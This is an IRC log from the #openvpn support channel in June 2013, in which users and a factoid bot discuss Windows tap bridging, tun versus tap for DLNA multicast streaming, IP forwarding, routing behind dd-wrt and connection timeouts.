15:33 < madsage> i can add another virtual ethernet device maybe i should try that. but i dont understand why i cant bind tap with my primary ethernet iface. is this a windows issue?
15:36 < majuscule> pekster: i just realized that won't work because my requests are still coming from my ip here. my traffic is definitely being routed over the vpn though (i checked with tcpdump on the servers eth0). does that sound right?
15:37 < majuscule> so i'd have to whitelist w/e random ip i'm sitting on at the moment, which will change
15:46 < madsage> anybody have any experience with windows bridging and openvpn tap device?
15:46 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
15:48 < madsage> ahh i found a doc.
15:49 < madsage> in windows the tap device takes over the ethernet iface. so you have to tran spose your IP/subnet/gateway/dns info into the new bridge device!
15:49 < madsage> er sorry. bridge device must be configured with ethernet settings
15:50 < madsage> Once the Bridge has been established, it is important to realize that all TCP/IP settings are now controlled through OpenVPN Bridge adapter (as opposed to Local Area Connection adapter).  Check to make sure that all of your settings are correct.  If you originally had a static IP Address, etc., these settings will probably need to be duplicated into the OpenVPN Bridge adapter.  Right-click "OpenVPN Bridge" and select "Properties":
15:50 < madsage> bridge was renamed to "OpenVPN Bridge"
15:51 < madsage> hope that may help the next guy that tries this.  =]
15:52 -!- Poison [~Poison@202.88.87.179] has joined #openvpn
15:52 < madsage> this should be added to windows section of OpenVPN bridging documentation.
15:57 -!- lmm_ [uid6417@gateway/web/irccloud.com/x-ncxqvcqtruucjqie] has quit [Ping timeout: 248 seconds]
16:14 < pekster> majuscule: There is no such thing as an "OpenVPN bridge." Please don't bridge unless you *actually* need L2 transport. A bridge is OS-specific, as is the method to configuration the addressing on it
16:14 < pekster> OpenVPN *only* comes into play with the L2 tap adapter, which is merely a bridge member, nothing more
16:14 < pekster> See also: !tunortap
16:26 < madsage> pekster, yeah i get all that. i just didnt know how winders handles bridging adapter. unlike linux you have to move the primary addressing to the bridge adapter. oddly enough
16:27 -!- Poison [~Poison@202.88.87.179] has quit [Quit: Leaving]
16:27 < madsage> i'm going to try to stream my media remotely through openvpn tunnel. i felt bridging would be best for multicasting
16:28 < majuscule> !float
16:28 < madsage> unless you can give me some feedback on how best to stream over tunnel
16:29 < majuscule> pekster: i think you meant to highlight madsage not me?
16:29 < madsage> he did
16:29 < majuscule> just checking :-)
16:31 < pekster> Right, tab-complete fail
16:34 < madsage> i'm trying another approach. bridging my primary ethernet is not a good idea when i can easily make an internal secondary
16:39 -!- gardar [~gardar@gardar.net] has joined #openvpn
16:49 < pekster> Why are you even bridging madsage?
16:49 < pekster> !tunortap
16:49 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
16:49 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
17:04 -!- hg_5_ [~chatzilla@91.234.245.245] has joined #openvpn
17:04 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
17:06 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 256 seconds]
17:06 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
17:13 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
17:18 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
17:23 < majuscule> I'm using the update-resolv-conf script with openresolv, but it does... nothing. no errors, no changes to resolv.conf. I have checked and confirmed that it is getting the right arguments, and the foreign_option_1 environment variable is set. is there anything obvious that I might be doing incorrectly?
17:33 < madsage> pekster, aye i'll try tun then. i didnt think multicast would work right
17:35 < madsage> i figured ethernet bridging would work best vs IP as upnp and other media steamers rely on multicast broadcasting
17:38 < madsage> yeah i just googled. does not work with tun
17:38 < madsage> must use tap
17:38 < madsage> "you need a bridge when you need layer2 to go to a lan behind the vpn endpoint... otherwise tap is fine."
17:39 < madsage> i'll just have to experiment
17:40 < madsage> mulsicast is L2 so tap it is
17:40 < madsage> multicast
17:41 < madsage> i keep getting distracted by the wife
17:43 < pekster> upnp is not a "media streamer" -- it's a lazy way to do NAT
17:44 < pekster> madsage, I'm not sure about your goals, but VLC for instance can do network media streaming (even live transcoding if you'd like it to) without any need for multicast. Multicast across a WAN link like a VPN won't really save you anything anyway unless you have multiple listeners at a single logical site and both sites are multicast-routing away
17:45 < pekster> aware*
17:46 < madsage> well i want my 360 to see it i think that requires multicast maybe i'm wrong
17:47 < madsage> but, yeah if vlc will do the trick that would be cool. that was my next goal find a streaming transcoder that will play along
17:48 < madsage> once i established some layer2 to my media stash
17:50 < madsage> maybe i'm over thinking with the l2 requirement
17:51 < madsage> for some reason i dont think my xbox360 is going to automagically see a streaming device without it tho. but hey, that would ne nice if it does
17:51 < madsage> ne/be
17:53 < madsage> if i'm heading in the wrong direction please feel free to advise
17:54 < pekster> DLNA might need it; I'd suggest if you're "requiring" your streaming media access to use DLNA across a native L3 link you're doing it wrong from the beginning
17:55 < pekster> No clue what crap MS's console's support though, so I can't comment on what other more proper options exist for it
17:55 -!- lmm_ [uid6417@gateway/web/irccloud.com/x-njjtdldjvjbhzaye] has joined #openvpn
17:55 < madsage> it works with upnp steaming. that i know
17:55 < pekster> upnp is *not* streaming
17:56 < pekster> You're continued attempt to call it that demonstrates that you don't really understand what you're attempting to do. OpenVPN can't help you with that problem
17:56 < madsage> ok. maybe i'm not using the right term
17:58 < madsage> ok, streamin upnp is not the same upnp we use for nat routing.
17:58 < madsage> streaming
17:58 < pekster> If you're referring to the "UPnP AV standards", there's a lot more than "just" upnp at work there
17:58 < pekster> Think of upnp like an index to services a device offers
17:58 < madsage> yes
17:59 < madsage> Tons of different devices support UPnP streaming nowadays (or its cousin, DLNA)
17:59 < pekster> Maybe a router will offer a way to query it for stats and open port forwardings. An A/V system might offer a way to interact with its features, but it doesn't stream *over* upnp
18:00 < madsage> from my understanding media UPnP is a multicast protocol. NOT to be confused with NAT UPnP.
18:00 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:00 < madsage> they are only simular by acronymn
18:00 < pekster> upnp is upnp. What you do over it doesn't really matter; it simply exposes services over a known multicast domain
18:01 < pekster> IIRC there was a "remote connection" or some-such extension that allowed connecting upnp devices across broadcast barriers, but I don't know much about that either
18:02 < pekster> There are other products that work at the IP layer that let you stream audio/video, and that'll work over tun just fine
18:02  * pekster shrugs. If you "need" DLNA, then muck with the multicast stuff over tap. Otherwise, I'd encourage you to find a solution that meets your existing topology
18:02 < madsage> yeah maybe i should be looking at DNLA, not sure if 360 supports that
18:03 < madsage> i guess that owuld be L2 also
18:03 < pekster> https://en.wikipedia.org/wiki/List_of_streaming_media_systems
18:03 <@vpnHelper> Title: List of streaming media systems - Wikipedia, the free encyclopedia (at en.wikipedia.org)
18:04 < madsage> thanks, i know this is outside the channel subject.
18:06 < madsage>  The Xbox 360 console plays streaming media only from DLNA-server compatible devices.
18:10 < pekster> Cute. Glad I don't own an MS console
18:20 < madsage> yeah i was trying to find a better way to watch video without having to download from seedbox and transcode to xbox. i thought it would be nice to stream right from seedbox over tunnel.
18:21 < madsage> was bored anyways. too damn hot here to do anything.
18:22 < pekster> "seedbox"? Why on earth don't you put your content on your own LAN? That's how DLNA is expected to be used in the first place
18:23 < madsage> ahh yeah. thats way beyond the topic of this channel i think
18:23 < madsage> my isp is not p2p friendly
18:23 < pekster> Apparently. I don't really condone making a suspect-illegal operation super-friendly for your console-junk
18:24 < madsage> yeah np
18:24 -!- master_o1_master [~master_of@p4FF24F49.dip0.t-ipconnect.de] has joined #openvpn
18:24 < madsage> i understand. just something i'm tinkering with
18:25 < madsage> for all practical purposes its media on a remote location
18:27 -!- master_of_master [~master_of@p4FF2440F.dip0.t-ipconnect.de] has quit [Ping timeout: 248 seconds]
18:27 < pekster> Right, but again, by "mandating" DLNA for your setup (due to your inflexible devices) you end up suffering all the usual L2-in-L4 issues, namely overhead, complexity, and when dealing with multicast, L2 flooding of packets to all switch ports for devices that aren't IGMP-aware
18:30 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Ping timeout: 255 seconds]
18:32 < madsage> yeah, thats why i'm segmenting this all off to internal devices. i'm thinking i'll have to ip the 360 for the network the tap device is bridged to internally.
18:35 < pekster> Naturally, since SSDP (for IPv4 anyway) uses a site-local multicast address
18:35 < pekster> IPv6 has more flexibility for supporting devices, at least in terms of protocol spec, by allowing for site or org-local scopes too
18:36 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
18:39 < pekster> Ironically, a casual glance at the wikipedia article suggests that the WMP MS-junk only does link-local anyway
18:40 < madsage> right
18:41 < madsage> oh i found another windows bridging issue.  the fix is:  netsh bridge set adapter 1 forcecompatmode=enable
18:41 < madsage> haha, i should stick to linux
18:42 < pekster> It's generally easier (and far more transparent) to use a Unix-alike for network tasks
18:43 < madsage> yeah. i'm stumbling through the windows side of it. pain in the ass
18:44 < pekster> Why? If you're "just creating a bridge" what's stopping you from using a proper OS for it? Even a VM with ~64-128M of RAM should suffice fine
18:50 < madsage> yeah beacuse its already a windows box. but, i problably could have already had a linux vm running and streaming.
18:50 < pekster> huh?
18:50 < pekster> A bridge doesn't "do" anything; it just bridges
18:50 < pekster> What you do over it is no concern to openvpn or the bridge
19:03 < madsage> my streaming server needs an interface to multicast to. i dont think i can use the tap device. so i create an internal and bridge it with tap
19:03 < pekster> multicast over tap works fine
19:03 < pekster> Multicast ends up flooding to L2 (ie: tap)
19:04 < pekster> I have no clue wha tyou mean by "internal and bridge". A bridge is a "virtual ethernet cable."
19:04 < madsage> ok, maybe i didnt the extra ethernet device
19:04 < madsage> i did want it isolated from the wan iface
19:05 < pekster> If you intend to use your LAN like you would from a local switch, tap does exactly that. It simply transports Ethernet frames. Multicast is a special L3 address that ends up flooding to the L2 broadcast on dumb switches (those without IGMP snooping)
19:05 < pekster> Right. What part of that is confusing to you? You add the existing adapter to a bridge and put the tap device on it
19:06 < pekster> openvpn acts as a virtual switch if that makes it easier for you to visualize
19:06 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
19:07 < madsage> ok whats wrong with adding secondary adapter and binding it to a birdge with tap device
19:07 -!- tlacatlc6 [~chatzilla@72.188.6.76] has joined #openvpn
19:08 < madsage> i'm thinking that will help segment the multicast from my wan link
19:08 < tlacatlc6> !welcome
19:08 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
19:08 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
19:09 < tlacatlc6> !redirect
19:09 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
19:09 <@vpnHelper> http://ircpimps.org/redirect.png
19:10 < pekster> madsage: No. A broadcast barrier is what does that
19:11 < pekster> Think about it: why would a bridge between your LAN and tap adapter have anything to do with a completely separate interface? They're on different subnets, which means traffic gets *routed* across it, not bridged
19:12 < pekster> tun = routing = OSI Layer 3 (IP.) tap = bridging = OSI Layer 2 (Ethernet)
19:12 < madsage> ok. you're right, i guess i'm trying to over comlicate it
19:12 < madsage> complicate
19:23 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has quit [Excess Flood]
19:46 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has joined #openvpn
19:55 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Quit: Leaving]
19:57 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
20:10 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Remote host closed the connection]
20:24 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has quit [Excess Flood]
20:36 -!- Sjors [~sgielen@foo.kassala.de] has quit [Ping timeout: 246 seconds]
20:37 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
20:48 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has joined #openvpn
21:24 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has quit [Excess Flood]
21:46 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Ping timeout: 248 seconds]
21:50 < tlacatlc6> !defl
21:51 < tlacatlc6> !defl
21:52 < pekster> That's odd, I got a reply in PM from the bot
21:52 < pekster> !def1
21:52 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
21:52 < pekster> tlacatlc6: Try a !ping to see if it responds to that (in-channel)
21:52 < tlacatlc6> it  just took some time
21:52 < tlacatlc6> thx
21:53 < pekster> No, it replied to me, not you
21:53 < pekster> Hence I want to see if "you" are being ignored, or if it just didn't like the !def1 from you
21:53 < tlacatlc6> oh
21:53 < tlacatlc6> !ping
21:53 <@vpnHelper> pong
21:53 < pekster> Weird. "all better" apparently. Cary on
21:54 < pekster> Oh, it's "def1" tlacatlc6, not "defl"
21:54 < pekster> one, not L
21:54 < tlacatlc6> i see, lol
21:54 < tlacatlc6> !ipforward
21:54 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
21:59 < tlacatlc6> anyone running openvpn on dd-wrt?
22:00 < pekster> openwrt is a better platform as dd-wrt has had a history of security issues that the maintainers have been happy to ignore or downplay
22:00 < pekster> But "someone" is probably running it, yes
22:00 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:02 < tlacatlc6> ok, thanks for the info. the only issue i'm having is the client can't see an smb server. so i just added two entries on the firewall commands to connect br and tun hoping that would solve it.
22:03 < tlacatlc6> unfortunately, the client can't confirm if it works or not. so i'm a bit stuck.
22:03 < pekster> "br" and tun? tun is for routing, not bridging. Unless you mean you're trying to pass packets across the firewall beween the tun and your LAN interface (which is the bridge, I suppose?)
22:04 < pekster> If you have problems firewalling, you should ask your distro's channel as that's really outside this channel's scope. It is generally assumed you know how to use your OS and firewall packages before you attempt to set up a VPN
22:05 < pekster> And honestly, I just throw away all the embedded firewall rulesets as they're GUI-centric and overly complicated as a result. Then again, I prefer clean and simple rulesets since I don't need a web UI to manage my equipment
22:05 < pekster> This might help give you direction:
22:05 < pekster> !serverlan
22:05 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
22:09 < tlacatlc6> ok, i suppose i do need to look into the "route" commands, though when i do input into dd-wrt the client can't connect for some reason. but thanks for all the info again.
22:10 < tlacatlc6> !ipforward
22:10 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
22:10 < tlacatlc6> !linipforward
22:10 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
22:13 < pekster> embedded distros tend to have very involved initscripts wrapped around openvpn. If you can get it working with a "standard" config file and calling openvpn on the command line, the rest is working your way through the initscript oddities
22:17 < tlacatlc6> !route_outside_openvpn
22:17 <@vpnHelper> "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
22:18 < tlacatlc6> !route
22:18 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
22:18 <@vpnHelper> behind the server or client
22:25 -!- madsage [sage@2001:470:c:1292::2] has quit [Quit: My damn controlling terminal disappeared!]
23:09 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
23:18 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
23:24 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
23:28 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 264 seconds]
23:29 < pekster> !learn easyrsa-ng as To track development or usage or the "next-gen" Easy-RSA codebase with improvements to the original, see http://pekster.sdf.org/code/projects/easyrsa3.html . Be aware this code is "beta", but is usable as it stands now. Send suggestions/comments to pekster.
23:29 <@vpnHelper> Joo got it.
23:32 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Ping timeout: 246 seconds]
23:33 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has joined #openvpn
23:52 -!- ngharo_ is now known as ngharo
23:58 -!- tlacatlc6 [~chatzilla@72.188.6.76] has quit [Remote host closed the connection]
--- Day changed Mon Jun 10 2013
00:32 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
00:34 -!- hg_5_ [~chatzilla@91.234.245.245] has quit [Ping timeout: 240 seconds]
01:03 -!- JAVACODER [~JAVACODER@2.190.46.197] has joined #openvpn
01:12 -!- monk [~aknm@196.14.139.96] has joined #openvpn
01:12 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
01:12 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:14 -!- vaillor [~wefefr@2-226-37-187.ip179.fastwebnet.it] has quit [Ping timeout: 264 seconds]
01:27 < monk> https://soundcloud.com/mrsamofficial/mr-sam-look-at-me-all-in-time
01:28 <@vpnHelper> Title: Mr Sam - Look At Me(All In Time) [Prod. Mr Sam & aWave] by Mr Sam Official on SoundCloud - Hear the world’s sounds (at soundcloud.com)
01:28 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
01:39 -!- JackWinter [~jack@vodsl-10021.vo.lu] has quit [Quit: Konversation terminated!]
01:44 -!- JackWinter [~jack@vodsl-10021.vo.lu] has joined #openvpn
02:09 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
02:09 -!- lbft [~lbft@unaffiliated/lbft] has quit [Read error: Operation timed out]
02:10 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
02:15 -!- mattock_afk is now known as mattock
02:48 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
02:59 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
02:59 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
02:59 -!- Chaot_s [~chaot_s@d54C4015D.access.telenet.be] has quit [Read error: Connection reset by peer]
03:07 -!- spacedust [~info@unaffiliated/cosmicblue] has joined #openvpn
03:07 < spacedust> astonishing how greatly a bad wifi connection is improved by using vpn
03:07 < spacedust> thank you OpenVPN
03:08 -!- nonuby [~nonuby@unaffiliated/nonuby] has joined #openvpn
03:09 <+hazardous> i use openvpn to route traffic from home to a nearby datacentre so i can exit via premium transit and drop latency in games :V
03:10 <+hazardous> 30ms directly, 1ms to dc +9ms from server to server via vpn lol
03:13 -!- nonuby [~nonuby@unaffiliated/nonuby] has quit [Ping timeout: 240 seconds]
03:18 < WiedzmaJaga> pekster: ah, I was out for the weekend - not checking this irc session
03:18 < WiedzmaJaga> thanks for the tip about logging
03:18 -!- emcepe is now known as mcp
03:18 < WiedzmaJaga> I also googled today "linux openvpn fork bomb" and got a thread about how multithreading support for tuntap makes for an udev forkbomb
03:19 < WiedzmaJaga> http://comments.gmane.org/gmane.linux.kernel/1401974
03:19 <@vpnHelper> Title: Linux kernel development (at comments.gmane.org)
03:19 < WiedzmaJaga> I might try this
03:20 < WiedzmaJaga> btw can anyone here share with me output from ifconfig and route -n with correctly implemented openvpn?
03:20 < WiedzmaJaga> some websites suggest pushing additional routes, and I wasn't sure if that's not true for me too
03:33 -!- fluter [~fluter@fedora/fluter] has quit [Ping timeout: 255 seconds]
03:39 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
03:43 < excalibr> hazardous: that's cheating!
03:47 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
04:00 -!- dazo_afk is now known as dazo
04:09 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
04:14 -!- Brandano [~Brandano@pdpc/supporter/professional/brandano] has joined #openvpn
04:25 -!- Chaot_s [~chaot_s@d54C4015D.access.telenet.be] has joined #openvpn
04:38 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
04:49 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
04:50 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
04:55 -!- WiedzmaJaga is now known as Jaga
04:56 -!- monk [~aknm@196.14.139.96] has joined #openvpn
04:56 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
04:56 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
05:01 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
05:17 -!- JAVACODER [~JAVACODER@2.190.46.197] has quit [Ping timeout: 255 seconds]
05:33 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
05:33 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 240 seconds]
05:33 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
05:34 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
05:41 -!- andre_11 [~andre_11@dsl108-185.pool.bitel.net] has joined #openvpn
05:41 < andre_11> hi guys
05:41 < andre_11> ive got a little question here
05:42 < andre_11> i installed openvpn on my server and on a client
05:42 < andre_11> in lan everything worked
05:42 < andre_11> but if i type in my dyndns adress instead of the lan server adress i wont connect
05:42 < andre_11> WSAETIMEDOUT
05:43 < andre_11> :(
05:43 < clever> !timeout
05:43 < andre_11> any ideas ?
05:43 <@vpnHelper> "timeout" is if you see TLS Error: TLS key negotiation failed to occur within 60 seconds (check your network connectivity) then your problem is likely one of the following: either the server isnt running, your client is connecting to the wrong ip/port/protocol, the server's firewall/nat has an issue, or the client's isp blocks it
05:43 < clever> maybe?
05:43 < andre_11> should a normal 16mbit adsl connection be too slow for it ?
05:43 < andre_11> i mean 60 seconds is a lot
05:44 < andre_11> normally we are speaking ms :)
05:44 < clever> you likely have a firewall blocking everything
05:44 < andre_11> by selecting dyndns there is of course the internet router in my home in between
05:44 < andre_11> but i freed up the port
05:45 < clever> did you read the entire msg from vpnHelper ?
05:45 < andre_11> yep
05:45 < andre_11> server is running
05:45 < andre_11> ports are everywhere the same
05:45 < clever> 'the server's firewall/nat has an issue, or the client's isp blocks it'
05:46 < andre_11> but in lan everything works ..so server firewall should be ok or not ?
05:46 < clever> firewall in the router or isp
05:46 < andre_11> only router firewall could be at fault imho
05:46 < clever> or the isp
05:46 < andre_11> hmm maybe try another port ?
05:47 < clever> that might help
05:47 < andre_11> i used std 1194 ...any good ports i should use ?
05:47 < kisom> Try 80, and TCP.
05:47 < andre_11> already on tcp :)
05:47 < andre_11> but ill give it a try
05:50 < hjohnson> I always like the trick of port 53 UDP
05:51 < hjohnson> you'd be surprised at how many organizations leave DNS open, when they want  you to go through a captive portal
05:51 < andre_11> hmm with port 80 server said it couldn't find "servername"
05:51 < andre_11> tried random port 4xxxx and it worked again
05:55 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
05:58 -!- monk [~aknm@196.14.139.96] has joined #openvpn
05:58 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
05:58 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
06:05 -!- razor1101 [~Anderson@unaffiliated/razor1101] has joined #openvpn
06:22 -!- p3rror [~p3rror@41.249.253.52] has quit [Quit: Leaving]
06:25 -!- JAVACODER [~JAVACODER@2.190.38.109] has joined #openvpn
06:27 -!- JackWinter [~jack@vodsl-10021.vo.lu] has quit [Quit: Konversation terminated!]
06:45 -!- firebayll [~firebayll@mon69-1-82-67-22-151.fbx.proxad.net] has joined #openvpn
06:46 < firebayll> !welcome
06:46 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
06:46 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
06:48 < Jaga> !route
06:48 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
06:48 <@vpnHelper> the server or client
06:50 < firebayll> Hi everybody, I've some issues with my VPN (I use services from ActiVPN (french) which use OpenVPN). I can init the VPN with the config file provided by ActiVPN but not ping the web. I try everything I can for 2 days and I'm lost. You can find my route, addr and init of the VPN at http://pastebin.com/0ZGya1tk . Thank's for your help !
06:51 -!- razor1101 [~Anderson@unaffiliated/razor1101] has left #openvpn ["psssssssssst"]
06:51 < EugeneKay> !provider
06:51 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
06:53 < firebayll> I understand that but I also would like to understand what's wrong in order to learn about my mistackes. So if you have a sec to look at it it would be great.
06:53 < EugeneKay> !logs
06:53 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
06:57 < firebayll> !logfile
06:57 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
07:00 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 248 seconds]
07:01 -!- JackWinter [~jack@vodsl-10021.vo.lu] has joined #openvpn
07:03 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
07:04 < firebayll> http://pastebin.com/0ZGya1tk
07:05 < firebayll> (log file client I can't have the one from serve)
07:08 < firebayll> IMH "default via 192.168.0.254 dev eth0" is the problem but I'm on for 2 days and I can't do this works
07:08 < firebayll> IMO*
07:13 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 256 seconds]
07:14 -!- joko [~joko@147.102.37.22] has quit [Read error: Operation timed out]
07:20 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
07:24 -!- firebayll [~firebayll@mon69-1-82-67-22-151.fbx.proxad.net] has quit [Quit: Quitte]
07:26 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
07:27  * Brandano bets eth0 might not have been eth0, but we'll never know now
07:28 < EugeneKay> At least he stuck around long enough to paste logs
07:28 < Brandano> also, using the 192.168.0 range seems silly
07:28 < Brandano> but I don't know what "default via" does. I assume sets the gateway?
07:28 < EugeneKay> I wasn't ever going to read the logs, truthfully.
07:29 < EugeneKay> "default via" == "0.0.0.0/0"
07:31 < Brandano> I barely got my config to work, so I doubt I would have been able to help
07:32 < EugeneKay> But you tried! And that's what counts.
07:32  * EugeneKay ponders breakfast
07:43 -!- defswork [~andy@141.0.50.105] has quit [Remote host closed the connection]
07:51 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Ping timeout: 276 seconds]
